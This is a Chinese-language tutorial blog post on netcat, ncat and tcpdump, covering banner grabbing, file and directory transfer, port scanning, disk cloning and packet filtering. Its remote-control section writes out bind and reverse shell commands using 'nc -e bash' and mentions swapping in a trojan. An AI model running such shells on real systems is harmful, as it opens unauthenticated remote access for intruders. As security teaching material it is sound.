网络工具中的瑞士×××,小巧而强大,
但由于其不加密,所以可能会被嗅探
telnet/获取banner信息
可以连接服务器的端口,然后进行各种操作 nc [-options] hostname port[s]
nc -nv 10.1.1.1 110
nc -nv 10.1.1.1 25
nc -nv 10.1.1.1 80
-n
:不进行域名解析 -v
:详细模式
传输文本信息
可用于远程电子取证,信息收集
监听端口 nc -lp 端口
nc -lp 8888
连接端口 nc -nv 主机 端口
nc -nv 172.16.10.10 8888
-l
: (listen)监听模式 -p
: 端口模式
传输文件/目录
假如我想传输一个文件: file
接收方监听端口并输出文件: nc -lp 端口 > 文件
nc -lp 8888 > dying.mp4
发送方连接并导入文件: nc -nv 主机 端口 < 文件 [-q] [秒数]
nc -nv 172.16.10.10 8888 < dying.mp4 -q 1
-q [秒]
:指定命令完成后几秒退出
如果不指定秒数,需要手动ctrl+D结束
或者更传统意义上的文件传输:
发送方监听端口并导入文件: nc -q 1 -lp 端口 < 文件
接收方连接并输出文件: nc -nv 主机 端口 > 文件
那么我想传送一个目录呢?nc默认是不支持目录的直接传递的。但我们可以换一个思想,将目录打包成文件传递过去,并在输出的时候直接解压不就很完美了吗。
发送方: tar czvf - 目录 | nc -lp 端口 [-q] [秒数]
tar czvf - /root/ | nc -lp 8888 -q 1
接收方: nc -nv 主机 端口 | tar xzvf -
nc -nv 172.16.10.10 8888 | tar xzvf -
加密传输文件
根据上面的各种操作,想必你差不多已经了解了nc的各种用法并且也猜到了加密传递的用法。
但我不推荐这么使用,因为很复杂,后面会介绍更方便的工具
先安装mcrypt
,因为Kali默认不集成这个工具 apt-get install mcrypt -y
接收方: nc -lp 8888 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
发送方: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 172.16.10.10 8888 -q 1
远程控制
正向布属:
服务器监听: nc -lp 8888 -e bash
-e
:exec(执行)
客户端连接: nc -nv 172.16.10.10 8888
反向布属:
考虑到存在于DMZ区域的主机可能无法直接访问外部网络
DMZ区域主机: nc -lp 8888
客户端: nc -nv 172.16.10.10 8888 -e bash
bash
换成文件或木马就可以远程执行了
Windows用户可换成CMD
流媒体服务器
服务器: cat file.mp4 | nc -lp 8888
客户端: nc -nv 172.16.10.10 8888 | mplayer -vo x11 cache 3000 -
端口扫描
和连接差不多的使用,加个-z
参数就行了 nc -nvz 主机 端口/批量端口
nc -nvz 172.16.10.10 1-2000
默认扫描tcp端口,你可以加上-u
参数扫描udp端口 nc -nvzu 主机 端口/批量端口
远程克隆硬盘
利用dd
命令进行块级别的克隆硬盘
接收方: nc -lp 端口 | dd of=/dev/sdb
发送方: dd if=/dev/sda | nc -nv 主机 端口
因为nc不包含身份验证和加密能力,所以在公网上使用会很不安全
而ncat就集成了这些功能,其包含在nmap工具中
服务器端: ncat -e bash --allow 主机 -nvl 端口 --ssl
只允许[ip]客户端登录,并采用ssl加密通道,ncat
的参数和nc
一模一样
客户端: ncat -nv 主机 端口 --ssl
通常Linux不安装图形化界面,所以wireshark的使用我们以后再讲,
这里先说内置的抓包命令tcpdump
抓包
监听网卡 tcpdump -i eth0 -s 0 -w file.pcap
监听TCP/UDP端口 tcpdump -i eth0 tcp port 22
读取保存的包文件 tcpdump -A/Xr file.pcap
-i
指定网卡 -s
指定抓取数据大小,0为不限制 -w
不显示过程并将数据写入文件 -r
读取包文件 -A
以ACSII码显示 -X
以十六进制形式显示
筛选
通常搭配awk使用
打印第三列数据并去除重复 tcpdump [-n] -r 文件 | awk '{print $3}' | sort -u
筛选来源地址 tcpdump [-n] src host 主机 -r 文件]
筛选目的地址 tcpdump [-n] dst host 主机 -r 文件
筛选端口 tcpdump [-n] port 端口 -r 文件
-n
不把IP地址解析成域名
高级筛选
tcpdump还可以针对TCP报文的标签位进行筛选,
一行TCP报文有32位/4个字节的大小,
标签位在第14个字节上,
但因为计数是从0开始,所以写的时候就是第13而不是14了
如果你想筛选确认位和推送位为1的情况,将其转换成十进制,也就是24
tcpdump -A -n 'tcp[13] = 24' -r 文件
有的教程显示TCP报文是6个标签位,这不会造成影响
Anzeme
2017/10/26